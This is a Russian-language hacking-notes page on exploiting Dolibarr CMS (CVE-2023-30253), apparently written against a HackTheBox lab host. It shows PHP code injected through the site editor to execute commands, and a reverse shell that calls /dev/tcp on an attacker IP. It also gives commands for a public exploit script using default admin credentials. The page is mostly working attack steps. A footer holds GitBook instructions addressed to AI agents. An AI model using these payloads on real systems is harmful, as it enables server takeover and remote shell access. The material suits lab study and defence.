> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/dolibarr-cms-exploitation.md).

# Dolibarr

<figure><img src="/files/e7f69a87feaffbdfcd192c679b619e08dd89f206" alt=""><figcaption></figcaption></figure>

**Вход без аутентификации:** Попытка входа с случайными учетными данными открывает сеанс администратора, но без прав.

<figure><img src="/files/a6d235864ac3960bb10f95fb92e184d06cdd2ab2" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/87af70157a1f4060c5ea5fa01e5a8bcc099d536c" alt=""><figcaption></figcaption></figure>

### **Ручная эксплуатация**

**Создание вредоносного сайта:**

В разделе создания сайта вставьте вредоносный PHP-код:

<figure><img src="/files/4c99bd932b7555e4a8da514bed78dd5dc027621c" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="/files/e5c2820005878db72730b5bbbbc5f892ed4ffbbe" alt=""><figcaption></figcaption></figure>

Выполнение команды подтверждено.

<figure><img src="/files/651494eecf70ef7019fe3bfc4bf552178a7fc733" alt=""><figcaption></figcaption></figure>

**Обратная оболочка:**

Запустите прослушиватель:

```bash
nc -nvlp 443
```

Код обратной PHP-оболочки:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="/files/da9b6bfc6d031c335d8d3ac68aeb8bdc0202ec02" alt=""><figcaption></figcaption></figure>

### **Автоматическая эксплуатация**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**Установите зависимости :**

```bash
pip3 install -r requirements.txt 
```

**Запустите скрипт :**

Тест команды (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="/files/c7a5e45420f1da678885c799c2eb943a0df9b0f3" alt=""><figcaption></figcaption></figure>

#### Обратная оболочка

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="/files/a0e2b64a81b9daabf581f803192d7e7e95d7db17" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/dolibarr-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
